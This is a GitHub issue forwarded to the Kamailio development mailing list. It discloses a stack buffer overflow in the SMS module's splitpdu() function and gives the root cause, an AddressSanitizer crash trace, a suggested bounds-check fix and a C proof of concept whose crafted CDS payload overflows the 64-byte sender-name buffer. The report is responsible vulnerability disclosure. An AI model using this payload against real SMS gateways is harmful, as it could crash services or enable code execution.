kost created an issue (kamailio/kamailio#4529)
## Summary
`splitpdu()` copies the quoted sender name from the PDU into `sms->name` using
`memcpy(..., end - start)` without bounding the length to `SMS_NAME_LEN` (64).
An overlong sender field in a received PDU over
flows the stack buffer, leading to a crash (and potential code execution) when
processing SMS/CDS data.
## Impact
- Stack buffer overflow in the SMS decoding path (Kamailio SMS module),
exploitable by a crafted PDU with an oversized quoted sender name.
- Consequences: process crash; code execution is theoretically possible
depending on toolchain/hardening.
## Versions affected
Tested versions:
- kamailio-6.0.4
- latest git master
```
$ git rev-parse HEAD
0bed0b960421a7718c9d4bdb276842f69574bf29
```
## Root Cause
- In `splitpdu()` (src/modules/sms/libsms_getsms.c:434), the memcpy length is
derived from the source substring (`end - start`) with no check against the
destination size (`SMS_NAME_LEN`), so attacker-controlled sender names longer
than 63 bytes overflow `sms->name`.
## Reproducing
Since attack would come from hardware/network, it is hard to reproduce this
without proper hardware, but we can simulate with making direct library calls.
For that purpose we're using direct library call to:
/* External from libsms_getsms.o */
int cds2sms(struct incame_sms *sms, struct modem *mdm, char *s, int s_len);
Compile the PoC (poc_108_sms.c):
KAMALIOSMS=build/src/modules/sms/CMakeFiles/sms.dir/
gcc -fsanitize=address -g -O0 poc_108_sms.c $KAMALIOSMS/libsms_getsms.c.o
$KAMALIOSMS/libsms_charset.c.o $KAMALIOSMS/libsms_modem.c.o
$KAMALIOSMS/libsms_putsms.c.o -o /tmp/poc_108_sms
Run proof of concept:
$ /tmp/poc_108_sms
about to call cds2sms() with overlong sender name...
=================================================================
==2143228==ERROR: AddressSanitizer: stack-buffer-overflow on address
0x707305d002b0 at pc 0x707307cfb303 bp 0x7ffc84853220 sp 0x7ffc848529c8
WRITE of size 1024 at 0x707305d002b0 thread T0
#0 0x707307cfb302 in memcpy
../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:115
#1 0x60ebf33543d1 in memcpy
/usr/include/x86_64-linux-gnu/bits/string_fortified.h:29
#2 0x60ebf33543d1 in splitpdu
/htp/kamalio/kamailio-6.0.4/build/src/modules/sms/libsms_getsms.c:435
#3 0x60ebf335df73 in decode_pdu
/htp/kamalio/kamailio-6.0.4/build/src/modules/sms/libsms_getsms.c:495
#4 0x60ebf335df73 in cds2sms
/htp/kamalio/kamailio-6.0.4/build/src/modules/sms/libsms_getsms.c:553
#5 0x60ebf3353c0b in main /htp/kamalio/kamailio-6.0.4/poc_108_sms.c:102
#6 0x70730782a1c9 in __libc_start_call_main
../sysdeps/nptl/libc_start_call_main.h:58
#7 0x70730782a28a in __libc_start_main_impl ../csu/libc-start.c:360
#8 0x60ebf33537b4 in _start (/tmp/poc_108_sms+0x67b4) (BuildId:
03dc9b956bf07e12359f8a1fa66d16e297799ad3)
Address 0x707305d002b0 is located in stack of thread T0 at offset 688 in frame
#0 0x60ebf33539f2 in main /htp/kamalio/kamailio-6.0.4/poc_108_sms.c:71
This frame has 3 object(s):
[32, 688) 'sms' (line 96)
[816, 1568) 'mdm' (line 97) <== Memory access at offset 688 partially
underflows this variable
[1696, 2743) 'payload' (line 75) <== Memory access at offset 688 partially
underflows this variable
HINT: this may be a false positive if your program uses some custom stack
unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow
../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:115
in memcpy
Shadow bytes around the buggy address:
0x707305d00000: f1 f1 f1 f1 00 00 00 00 00 00 00 00 00 00 00 00
0x707305d00080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x707305d00100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x707305d00180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x707305d00200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x707305d00280: 00 00 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2 f2 f2
0x707305d00300: f2 f2 f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00
0x707305d00380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x707305d00400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x707305d00480: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x707305d00500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==2143228==ABORTING
## Recommended Fix
- Bound the copy length to the destination buffer size (e.g., clamp to
`SMS_NAME_LEN - 1`), perform the copy with the clamped length, and
null-terminate. Apply the same pattern to other PDU-derived copies (e.g., SMSC)
that use source-derived lengths. A minimal fix at line ~434 would:
- compute `len = end - start;`
- `if (len >= SMS_NAME_LEN) len = SMS_NAME_LEN - 1;`
- `memcpy(sms->name, start, len); sms->name[len] = 0;`
## Prereqs
The vulnerable path (cds2sms() -> splitpdu() on CDS payloads) is only exercised
when sms_report_type is enabled for CDS reports. Specifically, the admin must
load sms module:
```
loadmodule "sms.so"
```
and set:
```
modparam("sms", "sms_report_type", 2)
```
## poc_108_sms.c
```
#include <stdio.h>
#include <string.h>
#include <termios.h>
/* Minimal mirror of Kamailio sms structs/constants (copied from sms_funcs.h) */
#define MAX_MODEMS 5
#define MAX_NETWORKS 5
#define MAX_CHAR_BUF 128
#define TIME_LEN 8
#define DATE_LEN TIME_LEN
#define SMS_NAME_LEN 64
#define SMS_SENDER_LEN 32
#define SMS_ASCII_LEN 500
#define SMS_SMSC_LEN 32
struct modem
{
char name[MAX_CHAR_BUF + 1];
char device[MAX_CHAR_BUF + 1];
char pin[MAX_CHAR_BUF + 1];
char smsc[MAX_CHAR_BUF + 1];
int net_list[MAX_NETWORKS];
struct termios oldtio;
int mode;
int retry;
int looping_interval;
int fd;
int baudrate;
int scan;
char to[MAX_CHAR_BUF + 1];
};
struct incame_sms
{
char sender[SMS_SENDER_LEN];
char name[SMS_NAME_LEN];
char date[DATE_LEN];
char time[TIME_LEN];
char ascii[SMS_ASCII_LEN];
char smsc[SMS_SMSC_LEN];
int userdatalength;
int is_statusreport;
int sms_id;
};
/* Stub logging symbols referenced by LM_* macros inside libsms_getsms.o */
int log_stderr = 1;
int log_color = 0;
void *log_prefix_val = 0;
volatile int dprint_crit = 0;
struct log_level_info
{
int level;
};
struct log_level_info log_level_info[8];
int sms_report_type = 0;
int get_debug_level(char *mname, int mnlen) {(void)mname;(void)mnlen; return 1;}
int get_debug_facility(char *mname, int mnlen) {(void)mname;(void)mnlen; return
0;}
int my_pid(void) { return 1234; }
int process_no = 0;
void dprint_color_reset(void) {}
void dprint_color(int level) {(void)level;}
void _ksr_slog_func(void *ld, const char *fmt, ...) {(void)ld;(void)fmt;}
void _km_log_func(int level, const char *fmt, ...) {(void)level;(void)fmt;}
void _km_err_func(const char *fmt, ...) {(void)fmt;}
/* External from libsms_getsms.o */
int cds2sms(struct incame_sms *sms, struct modem *mdm, char *s, int s_len);
int main(void)
{
/* Construct a CDS-like buffer with two leading CRLFs and an overlong
* quoted sender name that will overflow sms->name (64 bytes) when
* splitpdu() runs inside cds2sms(). */
char payload[] =
"xxx\r\n\r\n"
"\"IGN\",\""
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"\",rest\r\n";
struct incame_sms sms;
struct modem mdm;
memset(&sms, 0, sizeof(sms));
memset(&mdm, 0, sizeof(mdm)); /* mdm.mode=0 forces splitpdu path */
printf("about to call cds2sms() with overlong sender name...\n");
int ret = cds2sms(&sms, &mdm, payload, (int)strlen(payload));
printf("cds2sms returned %d\n", ret);
return 0;
}
```
## Additional information
```
$ ./build/src/kamailio -v
version: kamailio 6.0.4 (x86_64/Linux)
flags: USE_TCP, USE_TLS, USE_SCTP, TLS_HOOKS, USE_RAW_SOCKS, DISABLE_NAGLE,
USE_MCAST, DNS_IP_HACK, SHM_MMAP, PKG_MALLOC, MEM_JOIN_FREE, Q_MALLOC,
F_MALLOC, TLSF_MALLOC, DBG_SR_MEMORY, USE_FUTEX, FAST_LOCK-ADAPTIVE_WAIT,
USE_DNS_CACHE, USE_DNS_FAILOVER, USE_NAPTR, USE_DST_BLOCKLIST, HAVE_RESOLV_RES,
TLS_PTHREAD_MUTEX_SHARED
ADAPTIVE_WAIT_LOOPS 1024, MAX_RECV_BUFFER_SIZE 262144, MAX_SEND_BUFFER_SIZE
262144, MAX_URI_SIZE 1024, BUF_SIZE 65535, DEFAULT PKG_SIZE 8MB
poll method support: poll, epoll_lt, epoll_et, sigio_rt, select.
id: unknown
compiled on 17:17:18 Dec 17 2025 with gcc 13.3.0
```
--
Reply to this email directly or view it on GitHub:
https://github.com/kamailio/kamailio/issues/4529
You are receiving this because you are subscribed to this thread.
Message ID: <kamailio/kamailio/issues/[email protected]>_______________________________________________
Kamailio - Development Mailing List -- [email protected]
To unsubscribe send an email to [email protected]
Important: keep the mailing list in the recipients, do not reply only to the
sender!